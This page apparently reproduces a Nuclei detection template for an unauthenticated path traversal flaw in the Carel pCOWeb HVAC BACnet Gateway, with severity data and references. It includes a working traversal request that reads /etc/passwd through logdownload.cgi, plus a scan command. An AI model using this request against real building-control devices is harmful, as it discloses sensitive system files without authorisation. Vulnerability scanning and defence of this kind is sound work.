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Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion

ID: carel-bacnet-gateway-traversal

Severity: high

Author: gy741

Tags: carel,lfi,traversal,unauth,bacnet

Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the ‘file’ GET parameter through the ‘logdownload.cgi’ Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

id: carel-bacnet-gateway-traversal
info:
name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion
author: gy741
severity: high
description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
reference:
- https://www.zeroscience.mk/codes/carelpco_dir.txt
- https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: carel,lfi,traversal,unauth,bacnet
http:
- method: GET
path:
- "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"
matchers:
- type: regex
regex:
- "root:.*:0:0:"
# digest: 4a0a0047304502201e682fd563e070318f3bb0a3f43e69f0b28d35f789f92af97c4188bfc1d73bb8022100e0e959731de0fc975bd00d8752a796d642b82674d5ffacd87dff1c54c67d5ba3:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/carel-bacnet-gateway-traversal.yaml"

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